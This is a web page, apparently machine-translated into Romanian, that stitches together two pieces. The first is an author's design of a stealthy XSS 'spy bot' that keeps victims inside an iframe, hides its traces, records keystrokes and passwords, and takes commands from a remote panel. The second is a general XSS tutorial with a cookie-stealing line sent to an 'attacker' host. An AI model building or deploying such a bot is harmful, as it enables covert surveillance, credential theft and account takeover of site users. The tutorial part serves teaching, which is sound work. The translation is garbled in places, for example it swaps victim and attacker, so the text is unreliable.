Meniul
AcasăTelefon

Xss activ în corpul scrisorii. Atacurile XSS: ce sunt și cât de periculoase sunt. Ce este XSS

Toată lumea știe de mult că cel mai adesea, folosind XSS, un atacator încearcă să trimită un cookie victimei, să citească jetoane CSRF, să efectueze un atac de tip phishing (prin crearea unui formular de conectare fals), să efectueze o acțiune în numele utilizatorului și alte atacuri similare (poate că acestea nu sunt toate posibilitățile, dar acestea sunt toate cele mai populare cunoscute de mine în acest moment).

Scopul acestei metode este de a monitoriza paginile în numele utilizatorului pe care acesta navighează pe site-ul atacat, precum și de a monitoriza apăsările de taste ale acestuia (puteți folosi și mișcări și clicuri ale mouse-ului, dar pentru mine acest lucru va fi inutil, nu deosebit de util informații, în majoritatea cazurilor cu siguranță) .
Acum, în ceea ce privește beneficiul maxim - cred că algoritmul va fi așa:

  • citiți și trimiteți cookie-uri;
  • citiți și trimiteți restul informațiilor (adresa IP, pluginuri instalate, versiunea și tipul browserului, suport flash, suport silverlight etc.) [opțional]
  • obțineți informații despre rețeaua internă, pătrundeți în router [opțional]
  • citește și trimite diferite jetoane [opțional];
  • implementați phishing [opțional];
  • facem ceva „cu mâinile utilizatorului” [opțional];
  • continuăm să-l spionăm și să obținem informații până când închide fila sau părăsește site-ul;

Toate elementele opționale ale listei IMHO ar trebui să fie efectuate în funcție de situație și de prioritățile specifice pentru obiectivele care trebuie atinse folosind XSS, acestea pot interfera uneori între ele (dacă încercați să le combinați sau mai degrabă executați unul după altul) și crește probabilitatea eșecului operațiunii XSS.
Dar primul și ultimul punct ar trebui întotdeauna îndeplinite, în orice caz.De fapt, partea principală a articolului va fi despre ultimul punct din această listă.

Ne apropiem de obiectiv.

Voi începe de departe: prin JavaScript este posibil să schimbi calea în bara de adrese fără a reîncărca pagina. De exemplu, dacă un utilizator a încărcat o pagină la


Apoi, conținutul din bara de adrese va deveni după cum urmează (fără a reîncărca pagina):

http://site.com/new-url/

Această caracteristică, de altfel, este uneori destul de utilă atunci când este necesar să se ascundă de utilizatori (sau de o categorie mai atentă de utilizatori - administratori) prin curățarea rapidă a URL-ului după ce au dat clic pe un link care conținea Reflected XSS, pentru ca mai târziu, dupa ce am incarcat pagina, cautand in bara de adrese, nu am gasit nimic.

http : //site.com/search.php?q=123 document . corp. innerHTML += "Hacked" ;

http://site.com/search.php?q=123 fereastra. istorie. pushState ("" , "" , "/" ); document. corp. innerHTML += "Hacked" ;

îl vom priva de această oportunitate.

Dar această tehnică are aplicații și mai interesante și mai puternice. Vom simula șederea utilizatorului pe site după ce face clic pe link, de fapt, acesta va rămâne pe o singură pagină tot timpul, iar în acest moment va funcționa un script terță parte, care va extrage și trimite informații către atacator. Prin urmare, XSS va funcționa atâta timp cât utilizatorul face clic pe un link de pe acest domeniu .

Noi desemnăm ideea.

Principiul general de funcționare este următorul: atunci când un utilizator intră într-o pagină cu XSS, scriptul creează un iframe cu aceeași adresă ca și pagina și îl „atașează” în prim-plan, utilizatorul are impresia că pagina s-a încărcat normal, deoarece iframe-ul poate fi văzut doar în paginile de cod.

Și scriptul auxiliar controlează logica botului spion, adică monitorizează când se schimbă adresa din cadru pentru a o schimba în bara de adrese, dar dacă adresa cadru nou schimbată are un domeniu diferit, atunci puteți deschide într-o filă nouă, sau va trebui să reîncărcați pagina pentru a nu fi ars.
Astfel, pentru ca XSS să se oprească în acest moment, utilizatorul trebuie fie să reîmprospăteze pagina manual (dacă XSS este Reflected și a fost transmis prin metoda POST, în alte cazuri actualizarea nu va ajuta și, apropo, unele browserele pot trimite din nou o solicitare POST la actualizarea paginii) sau pot închide fila sau pot comuta la alt domeniu (deși în acest caz puteți evita totuși pierderea controlului).

Dacă merge la un subdomeniu al domeniului atacat, atunci este alegerea atacatorului, adică XSS va funcționa, dar există o șansă mică ca utilizatorul să detecteze o discrepanță între adresă. Cred că, în funcție de situația de aici, de exemplu, dacă domeniul google.ru a fost atacat, utilizatorul a trecut la serviciul de fișiere cloud al Google, care se află de obicei în subdomeniul drive.google.ru, atunci probabilitatea că va observa prindeți când vă uitați la bara de adrese este destul de mare, dacă a folosit des acest serviciu. Altfel, ai putea la fel de bine să-ți asumi un risc. Dar trebuie să ținem cont de faptul că nu vom mai putea citi datele acestuia dintr-un cadru cu subdomeniu, deoarece Politica Cross Origin nu o va permite. Dar putem naviga în siguranță pe domeniul principal în numele său în modul ascuns (mai multe despre asta mai jos).

Doar această metodă are limitări, și anume, nu va funcționa dacă răspunsurile serverului web ale site-ului conțin un antet X-Frame-Options cu valoarea DENY . Dar personal, am întâlnit astfel de site-uri literalmente de câteva ori; acum chiar și jumătate dintre ele nu au setat SAMEORIGIN, ca să nu mai vorbim de restricția completă prin NEGA.

Să analizăm ideea.

Acum, probabil că mulți își amintesc un lucru atât de minunat precum BeEF, care are și o mulțime de lucruri interesante. Apropo, există și o opțiune de a forța utilizatorul să redirecționeze în cadru, dar adresa din bara de adrese nu se schimbă, ceea ce poate arde rapid biroul și această opțiune servește unor scopuri ușor diferite.
În general, BeEF are aproape tot ce ai nevoie și chiar multe funcții suplimentare, dar personal mi-am dorit funcționalități suplimentare, și anume:

  • capacitatea de a monitoriza codul paginilor care sunt accesibile utilizatorului atacat în timp real;
  • capacitatea de a vedea tot ce scrie pe acel site (de la autentificare și parolă, la taste rapide și mesaje), adică un keylogger în JS;
  • posibilitatea de a da comenzi JS botului tău în timp real, după vizualizarea codului paginilor primite;
  • capacitatea de a lăsa comenzi botului local, pentru ca ulterior să le poată „prelua” și să le execute fără participarea noastră directă;
  • o probabilitate mai mică ca robotul să fie ars sau capacitatea botului de a se „ascunde” de privirile indiscrete;

După cum am menționat mai sus, am decis să împrumut ideea cool a unei cozi de execuție a comenzilor de la BeEF. De exemplu, am analizat paginile pe care botul le-a aruncat când un utilizator privilegiat își accesa panoul de control cu ​​XSS stocat, lăsăm comenzile botului - cod JS, cum ar fi data viitoare când utilizatorul se conectează, faceți clic pe acest buton, scrieți acest lucru valoare aici etc., data viitoare când acest utilizator vizitează pagina, botul citește comenzile și le execută și nu trebuie să fim la cârma lui pentru toate - este foarte convenabil.

Practic, un astfel de bot este, desigur, conceput pentru utilizatorii cu statut înalt ai unor site-uri care au „pârghii” suplimentare pentru gestionarea conținutului, alți utilizatori etc. Din solicitările de funcționalitate este clar că nu ne putem lipsi de partea de server.

Să punem în aplicare ideea.

În principiu, puteți sări peste această parte a articolului, deoarece descrie pur și simplu procesul de implementare a botului dorit și unele dintre detaliile acestuia, în cazul în care cineva dorește să-l refacă sau să-l personalizeze singur. Deși bot-ul va avea variabile la începutul codului prin care puteți seta câteva setări.
În primul rând, algoritmul acțiunilor botului din momentul încărcării:

1) Verificarea prezenței antetului X-Frame-Opțiuni: DENY(dacă există una, atunci rulăm undițele);
2) Încorporarea unui cadru și configurarea tuturor componentelor botului;
3) Eliminarea scriptului și a tuturor urmelor din codul HTML;
4) Stabilirea contactului cu partea de server și începerea trimiterii de date, răspunderea la răspunsuri (primirea comenzilor de la server);

Primul punct nu a fost realizat complet, adică botul verifică doar prima pagină și antetul rădăcină. Faptul este că, de obicei, aceste anteturi sunt încorporate de serverul web pentru toate paginile simultan și este foarte rar ca pentru o singură pagină totul să fie făcut „manual”. Și acest titlu în sine este destul de rar. Ei bine, nu sunt multe de spus despre a doua și a treia, totul va fi mai jos.

Există un punct relativ important că, înainte de a adăuga codul de script bot în codul dvs., trebuie să scăpați imediat de semnele XSS din bara de adrese (din codul JS), deoarece acest lucru reduce șansele de detectare și, cel mai important, previne recursiunea. care apare atunci când adăugați o adresă la cadru cu același cod XSS, care la rândul său creează un alt cadru cu el însuși și așa mai departe.

Dar pentru orice eventualitate, codul bot implementează capacitatea de a detecta o astfel de recursivitate a cadrelor și de a o împiedica la prima încercare de a adăuga un cadru la unul deja creat, dar este mai bine să nu te bazezi doar pe el, ci să eliminați suplimentar codul. înainte de a încărca codul bot. Desi inca nu am intampinat probleme.

Funcția de verificare a actualizării cadrului. Am încercat mai multe moduri de a rezolva economic această problemă prin agățarea de gestionare a evenimentelor contentWindow sau continutDocument, dar nimic nu a funcționat, așa că a trebuit să scriu o funcție care să verifice adresa cadrului și să o compare cu cea salvată anterior și, pe baza acesteia, să decid dacă cadrul era în curs de actualizare (dacă adresa sa schimbat) și apoi se numește recursiv.

Frecvența unor astfel de verificări pe secundă este controlată de variabilă întârziere, care este listat la începutul fișierului cu codul bot. Dar mai târziu, după ce am scris-o deja, am găsit o soluție mai eficientă - folosește o soluție simplă și suspendă onload la cadru, așa că am lăsat acea funcție, dar am comentat-o, în cazul în care mai târziu se dovedește a fi mai solicitată.

Se trimite codul HTML al paginii.

Schema de aici este destul de simplă - după fiecare reîncărcare a cadrului (inclusiv prima încărcare), botul trimite către server întregul cod HTML al paginii împreună cu adresa sa curentă, astfel încât ulterior să puteți distinge dacă codul aparține codului dorit. pagini.

Serverul implementează logica stocării paginilor - serverul creează un folder pentru fiecare domeniu cu numele acestui domeniu și salvează acolo toate datele. Codurile de pagină sunt salvate și actualizate constant la cele mai recente versiuni, dar în fiecare zi nouă este creată o nouă copie a paginii, astfel încât să puteți controla istoricul versiunilor dacă este necesar. Asta pentru /news.php Pe 1 septembrie, starea va fi actualizată, iar pe 2 septembrie va fi creată o copie a acesteia, relevantă doar pentru ziua respectivă, și așa mai departe în fiecare zi din nou (dacă utilizatorul vizitează această pagină în fiecare zi). Numele paginii constă din data și calea către această pagină în raport cu rădăcina site-ului (adică fără domeniul).

Keylogger în JavaScript.

Ideea fusese deja implementată de unii entuziaști, dar munca lor nu era potrivită pentru mine, fie și doar pentru că majoritatea erau destul de simple, adică detectau codul tastei apăsate și prin String.fromCharCode traduse în simboluri. Dar această metodă are o serie de dezavantaje - tastele de control, cum ar fi shift, control, space etc., nu sunt traduse în nicio formă (adesea pur și simplu într-un caracter gol), interacțiunea tastelor alfanumerice cu shift este înregistrată incorect, deoarece aceasta trebuie implementat programatic și, de asemenea, toate tastele apăsate sunt afișate cu litere mari, care pot fi, de asemenea, corectate programatic.

Rezultatul a fost un keylogger care a detectat corect toate tastele de numere, litere și caractere de bază, lucrând pe ambele aspecte, reacționând la shift și înregistrând toate tastele speciale principale. Adevărat, unele caractere (în partea de sus a rândului de numere, care sunt imprimate atunci când sunt apăsate shift și numărul) pot diferi pe unele mașini, deoarece au fost implementate conform standardului de bază, pe care unele companii îl modifică.
Fiecare porțiune de caractere apăsată este reținută de client până când elementul text își pierde focalizarea. În continuare, această porțiune este trimisă la server, unde este salvată într-un fișier text, care va fi, de asemenea, creat în fiecare zi cu o nouă copie, astfel încât să nu crească la dimensiuni mari și să puteți găsi rapid ceea ce a tastat utilizatorul în acel moment.
Pe lângă cheile în sine, informațiile despre elementul în care a fost tastat textul sunt trimise la server cu fiecare porțiune (adică dacă a fost , [ sau ceva atunci când utilizatorul a folosit taste rapide), pe lângă numele elementului, datele sale de bază (id, nume, clasă - dacă sunt prezente) sunt trimise pentru ca apoi să poată fi găsite cu ușurință în cod. Si bineinteles se consemneaza adresa paginii pe care s-a facut recrutarea si ora aproximativa a acestei recrutari. În general, sunt trimise suficiente informații despre atingerea tastaturii de către utilizator pentru o analiză ulterioară.

Comandați botul dvs.

Acest proces poate fi efectuat de către atacator sau pe partea în care botul va rula partea serverului sau chiar de la distanță. După rularea script-ului serverului, pornește un server web în miniatură auto-scris, care servește cererile de la bot și controlerul acestuia, care funcționează prin interfața web. Adică după pornire, serverul web emite un link, mergând la care poți începe să dai comenzi botului.

Despre acest panou de control. În primul rând, a fost necesar să se restricționeze cu o parolă (calea și puțini oameni vor ști despre serviciul care rulează pe un astfel de port sau despre adresa la care trebuie să meargă pentru a utiliza acest serviciu), astfel încât la prima conectare, serverul va cere o parolă, care este furnizată în bara de adrese (va fi furnizat un exemplu), parola originală este stocată în parola.txt, care poate fi schimbat. După prima conectare, serverul web va instrui browserul să salveze parola într-un cookie, astfel încât să nu vă mai faceți griji pentru aceasta.

Pe pagina însăși pentru trimiterea comenzilor către bot există și informații despre starea botului - indiferent dacă este online sau offline în acest moment și câteva setări, prima dintre acestea fiind gazda, adică IP-ul adresa sau domeniul site-ului către care vor fi trimise comenzile către bot. Acesta este conceput în cazul în care mai multe site-uri conțin acest bot, astfel încât să poată fi identificate. Pe server, tot pentru acest caz, toate datele sunt împărțite în foldere cu nume de domenii.
Urmează o fereastră în care puteți scrie comenzi pentru bot în JS și o opțiune care setează unde va fi executat acest cod JS, în fereastra principală în care se află bot-ul sau într-un cadru - acest lucru se face pentru comoditate, pentru orice eventualitate. .

Dacă botul nu este online, atunci serverul pur și simplu salvează comenzile și mai târziu, când botul intră online, adică utilizatorul vizitează din nou pagina cu acesta sau urmează linkul atacatorului, aceste comenzi vor fi executate.
Acest lucru este foarte convenabil dacă, în timpul primei recunoașteri, botul a aruncat toate paginile vizitate de utilizator (de exemplu, un cont personal), după ce a studiat codul căruia am scris comenzi în JS, astfel încât botul să facă apoi clic pe link-urile de care aveam nevoie, introduceți datele necesare, afișați imaginile necesare etc., care vă vor ajuta să vă atingeți obiectivul.

Sau poți direct în timp real, să te uiți rapid la conținutul paginilor prin cod și să dai comenzi botului astfel încât acesta să trimită codul altor pagini, să meargă la o altă adresă etc. Și toate acestea se vor face „în spatele ecran” al utilizatorului, care va naviga calm pe site printr-un cadru.

Pentru confortul dvs., puteți forma cele mai frecvent utilizate instrucțiuni în funcții întregi în JS, care sunt apoi introduse în fișierul sursă al botului ( xsb.js, mai multe despre structura fișierelor de mai jos) și utilizați. Sau folosiți acele funcții care sunt incluse în bot, deși există doar elementele de bază și nu este nimic nou, dar de exemplu, puteți folosi funcția de trimitere a codului paginii în orice moment, și nu atunci când cadrul este reîncărcat. Puteți scrie o funcție care va deschide link-urile trecute către ea în cadre noi în fundal pentru a vizualiza conținutul mai multor pagini simultan în numele utilizatorului (și opera cu acest conținut cu mâinile sale virtuale).

Eliminarea propriului cod.

Ei bine, ultima caracteristică este implementată destul de simplu (poate fi dezactivată prin setarea variabilei dorite în fișier, acestea sunt comentate). Scriptul, după configurarea și suspendarea tuturor gestionatorilor de evenimente, creând toate variabilele și funcțiile, se șterge singur.

La urma urmei, toate datele au fost deja încărcate în RAM prin browser, deci nu este nimic de care să vă faceți griji, dar asta este în teorie, poate mai târziu vor apărea unele probleme de care nu le-am ținut cont, așa că am creat o variabilă care poate fi folosit pentru a dezactiva această caracteristică dacă este necesar.

După ștergerea tuturor scripturilor, va fi extrem de dificil să observați XSS, deoarece prezența unui cadru nu indică acest lucru în mod indirect, iar codul în sine poate fi găsit doar în jurnalele de istoric al traficului de rețea ale browserului (care nu sunt păstrate implicit. în multe browsere dacă panoul pentru dezvoltatori nu este deschis) .

Partea serverului.

Pentru o modalitate mai simplă și mai convenabilă de a lansa bot-ul, s-a decis să scriem propriul nostru server web mic pe socket-uri, care să servească bot-ul, să furnizeze toate operațiunile de primire și postare a datelor trimise, să transmită mesaje între atacator și bot, și creați o interfață web pentru atacator pentru comandă.
Serverul a fost scris în Python, am încercat să folosesc doar biblioteci standard, astfel încât să nu trebuiască să instalez nimic înainte de lansare. De asemenea, serverul însuși editează unele date din scripturi, adică în scriptul JS al botului nu este nevoie să setați adresa serverului de comandă, serverul web însuși va seta acolo pe cea necesară la pornire. Există un singur parametru în configurația serverului - portul pe care va porni (implicit este 8000).
După pornire, serverul va furniza toate datele necesare - un link către scriptul JS, care va trebui să fie introdus, un link către panoul de comandă sau mai degrabă link-uri către adrese externe și locale, pentru comoditate.

Schema de lucru cu bot.

Lansăm serverul pe un port nerevendicat și puteți trimite un link cu un script bot, apoi oricine face clic pe el vă va trimite date pe care serverul le va salva în orice moment al zilei. Apoi le puteți vizualiza pur și simplu dacă este nevoie să părăsiți botul echipei și să continuați să-și facă propriile lucruri.

Structura fișierului.

Dosarul conține următoarele fișiere:

  • xsb.py - fișierul principal care implementează partea de server; pentru ca botul să funcționeze, lansați-l și apoi pur și simplu utilizați linkul pe care îl oferă;
  • xsb.js - aici este stocat codul JS al botului, linkul către care este furnizat de server; variabilele de configurare sunt declarate la începutul acestuia, care pot fi modificate la discreția dvs. (unele, și anume gazda și portul, serverul se va seta mai târziu singur, nu trebuie să vă faceți griji);
  • panel.html - de aici serverul preia codul pentru panoul de control al botului, puteti ajusta interfata la discretia dumneavoastra;
  • password.txt - aici este stocată parola pentru panoul de control, care poate fi schimbată;
  • savedData este directorul în care vor fi create foldere cu domenii de site, în care vor fi salvate toate informațiile.

Permiteți-mi să notez din nou că în dosar xsb.js puteți adăuga propriile funcții, pe care apoi le puteți apela prin panou fără a scrie porțiuni uriașe de cod;

O scurtă analiză a rezultatelor.

După ce am scris propriul meu mod inventat de a menține un utilizator pe o pagină cu XSS prin cadre (ei bine, așa cum am inventat - l-am descoperit personal pentru mine, este foarte posibil ca altcineva să fi „inventat” aceeași tehnică pentru ei înșiși sau să fie deja undeva în publicul a strălucit, pentru că acum este destul de dificil să dezvolți ceva cu adevărat nou și, de regulă, după ceva timp descoperi că „acesta era deja în The Simpsons”) am început să aprofundez în BeEF mai detaliat și să citesc wiki-ul său. Apoi am descoperit că acolo a fost implementată o altă tehnică pentru a atinge același obiectiv - extinderea timpului utilizatorului pe o pagină cu executabil XSS (pe care l-au numit om-în-browser). Și a fost implementat astfel: toate linkurile de pe pagina originală au fost modificate în așa fel încât atunci când ați dat clic pe oricare dintre ele, scriptul nu a reîncărcat pagina, ci a trimis o solicitare către server prin Ajax și a inserat datele. primit în răspuns, adică s-ar putea spune că l-a actualizat artificial, ceea ce era aproape imposibil de distins de împrospătarea obișnuită.

Prin urmare, nu am fost primul care a reușit să realizez această idee (chiar dacă metodele s-au dovedit a fi diferite). Dar ambele metode au dezavantajele lor:

Metoda de încărcare via nu funcționează dacă există un antet în răspuns X-Frame-Opțiuni: DENY, dar altfel funcționează ca o fereastră obișnuită de browser;

Metoda ajax funcționează întotdeauna dacă browserul o acceptă (toate browserele majore o acceptă acum), dar cu noul standard Web 2.0, tot mai multe tranziții sunt declanșate de evenimente personalizate ale oricăror elemente prin JS. Într-o zi, m-am dus la Google AdWords și am decis să văd cum au interacționat HTML și JS acolo, deoarece toți păianjenii mei au fost extrem de prost în a crea hărțile din spate a acestui serviciu. Și m-am speriat în liniște toată seara despre cât de neobișnuit era totul acolo, când elementele de text erau butoane și comutatoare și glisoare și erau reprezentate cu orice altceva, și fiecare avea aproximativ 30 de gestionari pentru diferite evenimente.

Adică, pe un site sofisticat, butonul de tranziție (subiectiv un link) va fi implementat printr-o etichetă obișnuită , care este încărcat cu stiluri și la care sunt atașați handlere de evenimente, dintre care unul, de exemplu, onclick redirecționează utilizatorul către o altă pagină. Există și elemente standard precum [i] sau el însuși etc., care sunt de fapt link-uri către alte pagini, dar la care BeEF nu va răspunde și pagina pur și simplu nu se va actualiza atunci când dați clic pe majoritatea butoanelor și a altor elemente. Ceea ce poate determina utilizatorul să reîmprospăteze pagina sau să intre din nou din cealaltă parte, ceea ce oprește sesiunea noastră XSS activă.

Pentru concizie în denumirea fișierelor, l-am numit Xss Spy Bot.

P.S.
Toată chestia asta a durat puțin peste o lună pentru a scrie din cauza lipsei periodice de timp și a distragerilor constante. De asemenea, din această cauză, calitatea codului și probabilitatea de a întâlni vreo eroare este destul de ridicată. Așa că vă rog să nu înjurați prea mult, ci să scrieți ce este în neregulă cu cineva pentru a putea fi corectat.
Eu însumi am testat bot-ul pe doar 4 mașini, toate rulând Debian.

Planuri pe termen lung pentru acest bot, dacă există motivație:
— implementați redarea codului paginilor pe care botul le trimite către server, astfel încât acesta să se deschidă imediat în browser și să poată fi „atins” și testat din mers;
— vor încerca să prindă niște bunătăți din tehnologia WebRTC, adică să găsească modalități de a obține informații noi pe care JS pur nu le poate extrage;
— implementați comunicarea între bot și server folosind protocolul WebSocket prin HTTP;
— adăugați câteva facilități la panoul de control;

Ultima actualizare până la 18 noiembrie 2016.

Și este un tutorial cuprinzător despre cross-site scripting.

Partea întâi: Prezentare generală Ce este XSS?

Scripturi între site-uri ( Engleză Scripturi între site-uri) este un atac de injectare de cod care permite unui atacator să execute JavaScript rău intenționat în browserul altui utilizator.

Atacatorul nu își atacă victima direct. În schimb, exploatează o vulnerabilitate a site-ului web pe care îl vizitează victima și injectează cod JavaScript rău intenționat. În browserul victimei, JavaScript rău intenționat apare ca o parte legitimă a site-ului web, iar site-ul în sine acționează ca un complice direct al atacatorului.

Injectarea de cod JavaScript rău intenționat

Singura modalitate prin care un atacator poate rula JavaScript rău intenționat în browserul unei victime este să îl injecteze într-una dintre paginile pe care victima le încarcă de pe site. Acest lucru este posibil dacă un site web permite utilizatorilor să introducă date în paginile sale, iar atacatorul poate introduce un șir care va fi detectat ca parte a codului în browserul victimei.

Exemplul de mai jos arată un script simplu pe partea de server care este utilizat pentru a afișa cel mai recent comentariu pe un site:

imprimare ""
printează „Ultimul comentariu:”
print database.latestComment
imprimare ""

Scriptul presupune că comentariul constă numai din text. Cu toate acestea, deoarece intrarea directă a utilizatorului este activată, un atacator ar putea lăsa acest comentariu: „...”. Orice utilizator care vizitează pagina va primi acum următorul răspuns:


Ultimul comentariu:
...

Când browserul utilizatorului încarcă pagina, acesta va executa totul, inclusiv codul JavaScript conținut în fișierul . Atacatorul a efectuat cu succes atacul.

Ce este JavaScript rău intenționat?

Capacitatea de a executa JavaScript în browserul victimei poate să nu pară deosebit de rău intenționată. JavaScript rulează într-un mediu foarte restrâns, care are acces extrem de limitat la fișierele utilizatorilor și ale sistemului de operare. De fapt, puteți deschide consola JavaScript în browser-ul dvs. chiar acum și puteți executa orice JavaScript doriți și este foarte puțin probabil să puteți provoca vreun rău computerului dvs.

Cu toate acestea, potențialul ca codul JavaScript să acționeze ca cod rău intenționat devine mai clar atunci când luați în considerare următoarele fapte:

  • JavaScript are acces la unele informații sensibile ale utilizatorului, cum ar fi cookie-urile.
  • JavaScript poate trimite cereri HTTP cu conținut arbitrar în orice direcție folosind XMLHttpRequest și alte mecanisme.
  • JavaScript poate face modificări arbitrare la codul HTML al paginii curente folosind tehnici de manipulare DOM.

Dacă sunt combinate, aceste fapte pot provoca încălcări foarte grave ale siguranței, detalii de urmat.

Consecințele codului JavaScript rău intenționat

În plus, capacitatea de a executa JavaScript arbitrar în browserul altui utilizator permite unui atacator să efectueze următoarele tipuri de atacuri:

Furtul de cookie-uri

Un atacator poate accesa modulele cookie legate de site-ul web ale victimei folosind document.cookie, le poate trimite către propriul server și le poate folosi pentru a extrage informații sensibile, cum ar fi ID-urile de sesiune.

Keylogger

Un atacator ar putea să înregistreze un ascultător de evenimente de la tastatură utilizând addEventListener și apoi să trimită toate apăsările de taste ale utilizatorului către serverul său, înregistrând posibil informații sensibile, cum ar fi parolele și numerele cărților de credit.

phishing

un atacator ar putea insera un formular de conectare fals într-o pagină folosind manipularea DOM, setând atributele de acțiune ale formularului pe propriul server și apoi păcăli utilizatorul pentru a obține informații sensibile.

Deși aceste atacuri diferă semnificativ, toate au o asemănare semnificativă: deoarece atacatorul injectează cod în pagina deservită de site-ul web, JavaScript rău intenționat este executat în contextul acelui site. Aceasta înseamnă că este tratat ca orice alt script de pe acel site: are acces la datele victimei pentru acel site web (cum ar fi cookie-urile) și numele de gazdă afișat în bara de adrese URL va fi același cu cel al site-ului web. În toate scopurile, scriptul este considerat o parte legală a site-ului web, permițându-i să facă orice poate face site-ul în sine.

Acest fapt evidențiază o problemă cheie:

Dacă un atacator vă poate folosi site-ul web pentru a executa cod JavaScript arbitrar în browserele altor utilizatori, securitatea site-ului dvs. și a utilizatorilor acestuia este compromisă.

Pentru a sublinia acest punct, câteva exemple de scripturi rău intenționate din acest tutorial vor fi lăsate fără detalii, folosind.... Acest lucru sugerează că simpla prezență a unui script injectat de către un atacator este o problemă, indiferent de codul de script specific care este de fapt executat.

Partea a doua: Atacul XSS Participanții la atacul XSS

Înainte de a descrie în detaliu cum funcționează un atac XSS, trebuie să identificăm actorii implicați într-un atac XSS. În general, există trei părți la un atac XSS: site-ul web, victima și atacatorul.

  • Site-ul oferă pagini HTML utilizatorilor care le solicită. În exemplele noastre se află la http://website/.
    • O bază de date de site este o bază de date care stochează unele dintre datele introduse de utilizatori pe paginile unui site web.
  • Victima este un utilizator obișnuit al unui site web care solicită pagini de la acesta folosind browserul său.
  • Un atacator este un atacator care intenționează să lanseze un atac asupra unei victime exploatând o vulnerabilitate XSS dintr-un site web.
    • Serverul unui atacator este un server web controlat de un atacator cu unicul scop de a fura informațiile confidențiale ale victimei. În exemplele noastre, se află la http://attacker/.
Exemplu de scenariu de atac


window.location="http://attacker/?cookie="+document.cookie

Acest script va crea o solicitare HTTP către o altă adresă URL, care va redirecționa browserul utilizatorului către serverul atacatorului. URL-ul include cookie-urile victimei ca parametru de solicitare, atunci când o solicitare HTTP ajunge la serverul atacatorului, atacatorul poate extrage aceste cookie-uri din cerere. Odată ce atacatorul a primit cookie-urile, le poate folosi pentru a uzurpa identitatea victimei și a lansa un atac ulterior.

De acum înainte, codul HTML afișat mai sus va fi numit șir rău intenționat sau script rău intenționat. Este important să înțelegeți că șirul în sine este rău intenționat doar dacă este redat în cele din urmă ca HTML în browserul victimei și acest lucru se poate întâmpla numai dacă există o vulnerabilitate XSS pe site.

Cum funcționează acest exemplu de atac

Diagrama de mai jos prezintă un exemplu de atac al unui atacator:

  • Atacatorul folosește unul dintre formularele site-ului web pentru a insera un șir rău intenționat în baza de date a site-ului web.
  • Victima solicită o pagină de pe un site web.
  • Site-ul include un șir de bază de date rău intenționat în răspuns și îl trimite victimei.
  • Browserul victimei execută un script rău intenționat în interiorul răspunsului, trimițând cookie-ul victimei la serverul atacatorului.
    • Tipuri XSS

    Scopul unui atac XSS este întotdeauna să execute un script JavaScript rău intenționat în browserul victimei. Există mai multe moduri fundamental diferite de a atinge acest obiectiv. Atacurile XSS sunt adesea împărțite în trei tipuri:

    • XSS stocat (persistent), unde șirul rău intenționat provine din baza de date a site-ului web.
    • XSS reflectat (nepersistent), unde șirul rău intenționat este generat din solicitarea victimei.
    • DOM-uri XSS, unde vulnerabilitatea apare în codul clientului, mai degrabă decât în ​​codul serverului.

    Exemplul anterior arată un atac XSS stocat. Vom descrie acum alte două tipuri de atacuri XSS: atacuri reflectate XSS și DOM XSS.

    XSS reflectat

    Într-un atac XSS reflectat, șirul rău intenționat face parte din solicitarea victimei către site. Site-ul acceptă și inserează acest șir rău intenționat în răspunsul trimis înapoi utilizatorului. Diagrama de mai jos ilustrează acest scenariu:

  • Victima îl păcălește pe atacator să trimită o solicitare URL către site-ul web.
  • Site-ul include un șir rău intenționat din solicitarea URL în răspunsul către victimă.
  • Browserul victimei execută scriptul rău intenționat conținut în răspuns, trimițând cookie-urile victimei către serverul atacatorului.

    • Cum să efectuați cu succes un atac XSS reflectat?

    Un atac XSS reflectat poate părea inofensiv, deoarece necesită ca victima să trimită o solicitare în numele lor care conține un șir rău intenționat. Deoarece nimeni nu s-ar ataca voluntar, nu pare să existe nicio modalitate de a duce efectiv atacul.

    După cum se dovedește, există cel puțin două modalități comune de a determina o victimă să lanseze un atac XSS reflectat împotriva lor:

    • Dacă utilizatorul este o anumită persoană, atacatorul poate trimite un URL rău intenționat victimei (de exemplu, prin e-mail sau mesagerie instantanee) și îl poate păcăli să deschidă linkul pentru a vizita site-ul web.
    • Dacă ținta este un grup mare de utilizatori, atacatorul ar putea posta un link către o adresă URL rău intenționată (de exemplu, pe propriul site web sau rețea socială) și să aștepte ca vizitatorii să facă clic pe link.

    Ambele metode sunt similare și ambele pot avea mai mult succes folosind serviciile de scurtare a adreselor URL care vor masca șirul rău intenționat de utilizatorii care ar putea să-l identifice.

    XSS în DOM

    XSS în DOM este o variantă a atacurilor XSS stocate și reflectate. În acest atac XSS, șirul rău intenționat nu este procesat de browserul victimei până când nu este executat JavaScript real al site-ului web. Diagrama de mai jos ilustrează acest scenariu pentru un atac XSS reflectat:

  • Atacatorul creează o adresă URL care conține un șir rău intenționat și îl trimite victimei.
  • Victima îl păcălește pe atacator să trimită o solicitare URL către site-ul web.
  • Site-ul acceptă solicitarea, dar nu include șirul rău intenționat în răspuns.
  • Browserul victimei execută scriptul legitim conținut în răspuns, provocând inserarea scriptului rău intenționat în pagină.
  • Browserul victimei execută un script rău intenționat inserat în pagină, trimițând cookie-urile victimei către serverul atacatorului.
    • Care este diferența dintre XSS în DOM?

    În exemplele anterioare de atacuri XSS stocate și reflectate, serverul inserează un script rău intenționat într-o pagină, care este apoi transmis ca răspuns victimei. Când browserul victimei primește răspunsul, presupune că scriptul rău intenționat face parte din conținutul legitim al paginii și îl execută automat în timp ce pagina se încarcă, la fel ca orice alt script.

    În exemplul unui atac XSS în DOM, scriptul rău intenționat nu este inserat ca parte a paginii; singurul script care este executat automat în timp ce pagina se încarcă este o parte legitimă a paginii. Problema este că acest script legitim utilizează direct intrarea utilizatorului pentru a adăuga HTML în pagină. Deoarece șirul rău intenționat este inserat în pagină folosind innerHTML , este analizat ca HTML, determinând executarea scriptului rău intenționat.

    Această diferență este mică, dar foarte importantă:

    • În XSS tradițional, JavaScript rău intenționat este executat atunci când pagina este încărcată, ca parte a codului HTML trimis de server.
    • În cazul XSS în DOM, JavaScript rău intenționat este executat după ce pagina s-a încărcat, determinând pagina JavaScript legitimă să acceseze intrarea utilizatorului (conținând șirul rău intenționat) într-o manieră nesigură.
    Cum funcționează XSS în DOM?

    Nu este nevoie de JavaScript în exemplul anterior; serverul poate genera tot HTML-ul singur. Dacă codul de pe partea serverului nu ar conține vulnerabilități, site-ul web nu ar fi susceptibil la o vulnerabilitate XSS.

